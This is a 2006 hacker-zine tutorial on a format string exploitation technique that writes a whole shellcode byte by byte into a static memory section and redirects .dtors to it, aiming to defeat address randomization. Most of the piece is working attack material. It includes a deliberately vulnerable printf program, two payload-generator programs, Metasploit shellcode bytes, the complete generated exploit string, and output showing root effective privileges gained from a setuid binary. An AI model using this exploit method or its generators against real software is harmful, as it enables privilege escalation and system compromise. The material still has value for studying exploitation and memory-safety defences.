_ _ ___ ___ __ ___ __ ___ _ _ ___ ____ ( \/ )(_ )(_ )( )( ,) / \(_ ) ( \( )( _)(_ _) ) ( / / / / )( ) \( () )/ / _ ) ( ) _) )( (_/\_)(___)(___)(__)(_)\_)\__/(___)(_)(_)\_)(___) (__) ... and ########. ############. ################ ##################.__ __ __ __ _ _ __ __ ##############/ _`|#\ V V // _` | '_/ -_) ##############\__,|# \_/\_/ \__,_|_| \___| ###########*"*###### ##########{ }####* ##########._.##### ################ #############* ######## Bring to you: .:An alternative method in format string exploitation:. 10/10/2006 [0] PREFACE I assume you already know how a format string exploit functions. You store your shellcode in a buffer, wheather it be an environemnt variable, the format string's buffer, or a text field you had control of. Using the format string you write a 4 byte address that represents the location of this buffer, to a location that will cause code execution at that point. Common places are the global destructor segment (.dtors), a stored EIP that will later be popped and returned to, or in more exotic cases segments such as the global offset table (.got). This is all well and good, but does anyone see the problem with these methods? The problem lies in yestordays future, today to be precise. A day and age where these common bugs are not only more rare than ever, but harder to exploit all together. Patches such as VA randomization cause for new methods to be uncoverred and alternative approaches to be taken. Lately I have read articles on buffer overflow advances, including but not limited to returning to esp, ret sledding, register calls and the like. I have yet to see anything on format string exploitation (although the ammount of possibilities are, imho, just as large). [1] THEORY My theory works off of the bases that you can randomize a stack as much as you want, but the distance between variables is still static (at least in the same segment). Not only does this allow you to brute force one address and obtain all of the rest based on their distance from the variable that you brute forced, but it also allows format string exploitation to function in it's ancient way. I am referring to %$hn number in our format string. Randomized VA breaks a normal format string by not allowing you know where the shellcode is located at, as it's address will change (hence, "random VA") But what if we take the authority and specify the location our shellcode is located at? Then all you have to do is write that same address to to your point of execution flow (eip, .dtors, .got). How might one accomplish such an insanity? Simple! Instead of writing just 4 bytes to a location, we use the format string to write the entire shellcode to a location, byte for byte. [2] PRACTICE I will begin by formally showing you the code we will exploit, it is both generic and simple. Text is requested for input, and that same text is printed to stdout. -- begin fmat.c #include #include int main (int argc, char **argv) { char buff[2048]; int i; i = fread(buff, 1, 2048, stdin); *(buff+i) = 0; printf(buff); return(0); } -- end fmat.c -- Great! Next we need to create the string. [3] ADDRESSES The first part of our string will consist of the addresses. All of these addresses point to a byte since i'll be demonstrating this with %hhn. The first 4 addresses will be the location of where we will write our shellcode's address and hence the location that causes code execution to be diverted. For this I will choose the .dtor (global destructors) segment. Once this is accomplished, upon program exit any function address in it will be executed. We want to place the address at .dtors+4. What is the address of .dtors? xzziroz:/home/kspecial# ls -alh fmat -rwsr-xr-x 1 root kspecial 7.1K 2006-10-12 00:09 fmat xzziroz:/home/kspecial# objdump -x fmat | grep dtors | head -1 16 .dtors 00000008 08049544 08049544 00000544 2**2 xzziroz:/home/kspecial# Great, now let me show you the code i've written to make the addresses: -- begin addy2fmat.c -- #include #include int main (int argc, char **argv) { unsigned addy, length; char *ptr = (char *) &addy; if (argc < 3) exit(1); sscanf(*(argv+1), "%x", &addy); sscanf(*(argv+2), "%u", &length); for (; length; length--, addy++) printf("\\x%hhx\\x%hhx\\x%hhx\\x%hhx", *ptr, *(ptr+1), *(ptr+2), *(ptr+3)); putchar('\n'); return; } -- end addy2fmat.c -- xzziroz:/home/kspecial# ./addy2fmat 08049548 4 \x48\x95\x4\x8\x49\x95\x4\x8\x4a\x95\x4\x8\x4b\x95\x4\x8 xzziroz:/home/kspecial# These are the 4 addresses that each point to a byte of the 4 byte address we want to write to (.dtors+4,5,6,7) Now we have to make the addresses for each byte of our shellcode that will be written. You can put the shellcode anywhere that is writeable and does not cause disturbance with the rest of the program between the time it's written and when code execution occures. I am going to place mine right next to the dtors in a section gcc labels _DYNAMIC: (gdb) x/100a 0x08049548 0x8049548 <__DTOR_END__>: 0x0 0x0 0x1 0x10 0x8049558 <_DYNAMIC+8>: 0xc 0x80482a0 <_init> 0xd 0x8048514 <_fini> 0x8049568 <_DYNAMIC+24>: 0x4 0x8048148 0x5 0x80481e8 0x8049578 <_DYNAMIC+40>: 0x6 0x8048178 0xa 0x58 0x8049588 <_DYNAMIC+56>: 0xb 0x10 0x15 0xb7f894e4 <_r_debug> 0x8049598 <_DYNAMIC+72>: 0x3 0x804961c <_GLOBAL_OFFSET_TABLE_> 0x2 0x20 0x80495a8 <_DYNAMIC+88>: 0x14 0x11 0x17 0x8048280 0x80495b8 <_DYNAMIC+104>: 0x11 0x8048270 0x12 0x10 0x80495c8 <_DYNAMIC+120>: 0x13 0x8 0x6ffffffe 0x8048250 0x80495d8 <_DYNAMIC+136>: 0x6fffffff 0x1 0 0x80495e8 <_DYNAMIC+152>: 0x0 0x0 0x0 0x0 0x80495f8 <_DYNAMIC+168>: 0x0 0x0 0x0 0x0 0x8049608 <_DYNAMIC+184>: 0x0 0x0 0x0 0x0 ... 0x80495b0 looks like a good place. This is the shellcode i'll be using, it is 72 bytes and does a system() of /usr/bin/id "\x33\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3b" "\x6e\x15\xe2\x83\xeb\xfc\xe2\xf4\x51\x65\x4d\x7b\x69\x08\x7d\xcf" "\x58\xe7\xf2\x8a\x14\x1d\x7d\xe2\x53\x41\x77\x8b\x55\xe7\xf6\xb0" "\xd3\x62\x15\xe2\x3b\x41\x60\x91\x49\x41\x77\x8b\x55\x41\x7c\x86" "\x3b\x39\x46\x6b\xda\xa3\x95\xe2"; Oh, this is from metasploit by the way. So now we use the same program to make 72 addresses starting at 0x80495b0: kspecial@xzziroz:~$ ./addy2fmat 0x80495b0 72 \xb0\x95\x4\x8\xb1\x95\x4\x8\xb2\x95\x4\x8\xb3\x95\x4\x8\xb4\x95\x4\x8\xb5\x95\x4\x8\xb6\x95\x4\x8\xb7\x95\x4\x8\xb8\x95\x4\x8\xb9\x95\x4\x8\xba\x95\x4\x8 \xbb\x95\x4\x8\xbc\x95\x4\x8\xbd\x95\x4\x8\xbe\x95\x4\x8\xbf\x95\x4\x8\xc0\x95\x4\x8\xc1\x95\x4\x8\xc2\x95\x4\x8\xc3\x95\x4\x8\xc4\x95\x4\x8\xc5\x95\x4\x8 \xc6\x95\x4\x8\xc7\x95\x4\x8\xc8\x95\x4\x8\xc9\x95\x4\x8\xca\x95\x4\x8\xcb\x95\x4\x8\xcc\x95\x4\x8\xcd\x95\x4\x8\xce\x95\x4\x8\xcf\x95\x4\x8\xd0\x95\x4\x8 \xd1\x95\x4\x8\xd2\x95\x4\x8\xd3\x95\x4\x8\xd4\x95\x4\x8\xd5\x95\x4\x8\xd6\x95\x4\x8\xd7\x95\x4\x8\xd8\x95\x4\x8\xd9\x95\x4\x8\xda\x95\x4\x8\xdb\x95\x4\x8 \xdc\x95\x4\x8\xdd\x95\x4\x8\xde\x95\x4\x8\xdf\x95\x4\x8\xe0\x95\x4\x8\xe1\x95\x4\x8\xe2\x95\x4\x8\xe3\x95\x4\x8\xe4\x95\x4\x8\xe5\x95\x4\x8\xe6\x95\x4\x8 \xe7\x95\x4\x8\xe8\x95\x4\x8\xe9\x95\x4\x8\xea\x95\x4\x8\xeb\x95\x4\x8\xec\x95\x4\x8\xed\x95\x4\x8\xee\x95\x4\x8\xef\x95\x4\x8\xf0\x95\x4\x8\xf1\x95\x4\x8 \xf2\x95\x4\x8\xf3\x95\x4\x8\xf4\x95\x4\x8\xf5\x95\x4\x8\xf6\x95\x4\x8\xf7\x95\x4\x8 Great! We're all done with the addresses. [4] DATA Now it's time to write the data to these addresses. First we need to write a \xb0\x95\x4\x8 since this will be placed at 0x8049548 (.dtors+4). After that, we need to write the shellcode. To make format string identifiers out of the data, i use more code that does all the work for me! -- begin sc2fmat -- #include int main (int argc, char **argv) { unsigned char last = 0; unsigned value; unsigned start_ord = 0; char *ptr = *(argv+1); if (argc > 2) sscanf(*(argv+2), "%u", &start_ord); if (argc > 3) sscanf(*(argv+3), "%hhu", &last); for (unsigned i = 256; *ptr; ptr++, start_ord++, i += 256) { value = *ptr; if (last) { value += i; value -= last; } printf("%%%uu%%%u$hhn", value + (i * 256), start_ord); last = *ptr; } putchar('\n'); } -- end sc2fmat.c -- To run this, one must simply provide the data you wish to be converted (the 4 byte address, and then our shellcode), followed by the stack pop distance (the distance from ESP that our buffer holding all of this data lies at). After the stack pop you must specify how many characters have already been written (with the addresses). In other words, we take the two address sets made above, and calculate how many bytes they take up. Mine should take up 76 * 4 (72 4 byte addresses for the shellcode, and four, 4 byte addresses for the address of the shellcode). echo -en '' | wc -c Confirms it is 304 bytes being taken up by the addresses. My buffer is 8 bytes away from ESP at the time printf executes, by placing a break on printf and examining $esp + 32 I can verify this: Breakpoint 1, 0x0804840b in main () (gdb) x/a $esp + 32 0xbfdd3430: 0x8049548 <__DTOR_END__> That is the first address in buff[], so let's make it: kspecial@xzziroz:~$ ./sc2fmat `echo -en '\xb0\x95\x4\x8\x33\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3b\x6e\x15\xe2\x83\xeb\xfc\xe2\xf4\x51 \x65\x4d\x7b\x69\x8\x7d\xcf\x58\xe7\xf2\x8a\x14\x1d\x7d\xe2\x53\x41\x77\x8b\x55\xe7\xf6\xb0\xd3\x62\x15\xe2\x3b\x41\x60\x91\x49\x41\x77\x8b\x55\x41\x7c\x86 \x3b\x39\x46\x6b\xda\xa3\x95\xe2'` 8 304 %65664u%8$hhn%131301u%9$hhn%197231u%10$hhn%263172u%11$hhn%329003u%12$hhn%394646u%13$hhn%460218u%14$hhn%526182u%15$hhn%591883u%16$hhn%657637u%17$hhn%723477u %18$hhn%789227u%19$hhn%855195u%20$hhn%921008u%21$hhn%986832u%22$hhn%1052519u%23$hhn%1118246u%24$hhn%1184242u%25$hhn%1249952u%26$hhn%1315880u%27$hhn%1381683 u%28$hhn%1447335u%29$hhn%1513165u%30$hhn%1578657u%31$hhn%1644648u%32$hhn%1710353u%33$hhn%1776102u%34$hhn%1841938u%35$hhn%1907805u%36$hhn%1973780u%37$hhn %2039528u%38$hhn%2105390u%39$hhn%2171118u%40$hhn%2236831u%41$hhn%2302837u%42$hhn%2368338u%43$hhn%2434185u%44$hhn%2499983u%45$hhn%2565643u%46$hhn%2631320u %47$hhn%2697354u%48$hhn%2763273u%49$hhn%2829152u%50$hhn%2894693u%51$hhn%2960497u%52$hhn%3026414u%53$hhn%3092278u%54$hhn%3157780u%55$hhn%3223754u%56$hhn %3289490u%57$hhn%3355151u%58$hhn%3420858u%59$hhn%3486755u%60$hhn%3552655u%61$hhn%3618483u%62$hhn%3684301u%63$hhn%3749977u%64$hhn%3815942u%65$hhn%3881759u %66$hhn%3947313u%67$hhn%4013240u%68$hhn%4079096u%69$hhn%4144950u%70$hhn%4210452u%71$hhn%4276426u%72$hhn%4342252u%73$hhn%4408123u%74$hhn%4473610u%75$hhn %4539573u%76$hhn%4605438u%77$hhn%4671245u%78$hhn%4737061u%79$hhn%4802671u%80$hhn%4868297u%81$hhn%4934130u%82$hhn%5000013u%83$hhn kspecial@xzziroz:~$ \xb0\x95\x4\x8 will get written to .dtors+4 (each of thoes bytes corresponds to the first four, 4 byte addresses in our addresses) The rest of it will get written to the other addresses (where we choose to park the shellcode) On program termination our shellcode will be executed, let's try it! echo -en '\x48\x95\x4\x8\x49\x95\x4\x8\x4a\x95\x4\x8\x4b\x95\x4\x8\xb0\x95\x4\x8\xb1\x95\x4\x8\xb2\x95\x4\x8\xb3\x95\x4\x8\xb4\x95\x4\x8\xb5\x95\x4\x8\xb6 \x95\x4\x8\xb7\x95\x4\x8\xb8\x95\x4\x8\xb9\x95\x4\x8\xba\x95\x4\x8\xbb\x95\x4\x8\xbc\x95\x4\x8\xbd\x95\x4\x8\xbe\x95\x4\x8\xbf\x95\x4\x8\xc0\x95\x4\x8\xc1 \x95\x4\x8\xc2\x95\x4\x8\xc3\x95\x4\x8\xc4\x95\x4\x8\xc5\x95\x4\x8\xc6\x95\x4\x8\xc7\x95\x4\x8\xc8\x95\x4\x8\xc9\x95\x4\x8\xca\x95\x4\x8\xcb\x95\x4\x8\xcc \x95\x4\x8\xcd\x95\x4\x8\xce\x95\x4\x8\xcf\x95\x4\x8\xd0\x95\x4\x8\xd1\x95\x4\x8\xd2\x95\x4\x8\xd3\x95\x4\x8\xd4\x95\x4\x8\xd5\x95\x4\x8\xd6\x95\x4\x8\xd7 \x95\x4\x8\xd8\x95\x4\x8\xd9\x95\x4\x8\xda\x95\x4\x8\xdb\x95\x4\x8\xdc\x95\x4\x8\xdd\x95\x4\x8\xde\x95\x4\x8\xdf\x95\x4\x8\xe0\x95\x4\x8\xe1\x95\x4\x8\xe2 \x95\x4\x8\xe3\x95\x4\x8\xe4\x95\x4\x8\xe5\x95\x4\x8\xe6\x95\x4\x8\xe7\x95\x4\x8\xe8\x95\x4\x8\xe9\x95\x4\x8\xea\x95\x4\x8\xeb\x95\x4\x8\xec\x95\x4\x8\xed \x95\x4\x8\xee\x95\x4\x8\xef\x95\x4\x8\xf0\x95\x4\x8\xf1\x95\x4\x8\xf2\x95\x4\x8\xf3\x95\x4\x8\xf4\x95\x4\x8\xf5\x95\x4\x8\xf6\x95\x4\x8\xf7\x95\x4\x8 %65664u%8$hhn%131301u%9$hhn%197231u%10$hhn%263172u%11$hhn%329003u%12$hhn%394646u%13$hhn%460218u%14$hhn%526182u%15$hhn%591883u%16$hhn%657637u%17$hhn %723477u%18$hhn%789227u%19$hhn%855195u%20$hhn%921008u%21$hhn%986832u%22$hhn%1052519u%23$hhn%1118246u%24$hhn%1184242u%25$hhn%1249952u%26$hhn%1315880u %27$hhn%1381683u%28$hhn%1447335u%29$hhn%1513165u%30$hhn%1578657u%31$hhn%1644648u%32$hhn%1710353u%33$hhn%1776102u%34$hhn%1841938u%35$hhn%1907805u%36$hhn %1973780u%37$hhn%2039528u%38$hhn%2105390u%39$hhn%2171118u%40$hhn%2236831u%41$hhn%2302837u%42$hhn%2368338u%43$hhn%2434185u%44$hhn%2499983u%45$hhn%2565643u %46$hhn%2631320u%47$hhn%2697354u%48$hhn%2763273u%49$hhn%2829152u%50$hhn%2894693u%51$hhn%2960497u%52$hhn%3026414u%53$hhn%3092278u%54$hhn%3157780u%55$hhn %3223754u%56$hhn%3289490u%57$hhn%3355151u%58$hhn%3420858u%59$hhn%3486755u%60$hhn%3552655u%61$hhn%3618483u%62$hhn%3684301u%63$hhn%3749977u%64$hhn%3815942u %65$hhn%3881759u%66$hhn%3947313u%67$hhn%4013240u%68$hhn%4079096u%69$hhn%4144950u%70$hhn%4210452u%71$hhn%4276426u%72$hhn%4342252u%73$hhn%4408123u%74$hhn %4473610u%75$hhn%4539573u%76$hhn%4605438u%77$hhn%4671245u%78$hhn%4737061u%79$hhn%4802671u%80$hhn%4868297u%81$hhn%4934130u%82$hhn%5000013u%83$hhn' > file kspecial@xzziroz:~$ ./fmat < file | tail -c 200 uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),107(powerdev),1000(kspecial) Awesome, it works. We place the format string into 'file' and feed it to printf, at the end of printing out ~150 megabytes worth of nonsense it runs our shellcode. I can execute ./fmat < file | tail -c 200 as many times in a row and it keeps working because we only used one (kinda) unknown address, the .dtors, but the .dtors is static! Yes that might be the biggest and uggliest format string you've seen in your life, but that leads us to the next chapter. [5] SIZE You could easily get the size of my format string at least cut in half (at least) using the following methods: 1. Smaller shellcode is obvious 2. Write your processor's word size using %n instead of %hhn effectively shrinking your format string by 4 3. By understanding sc2fmat.c more than I do and making each stack pop number 3 digits or less. [6] EPILOGUE I hope you guys enjoyed that, I now i did! Weeeeeeeeeeeee. --K-sPecial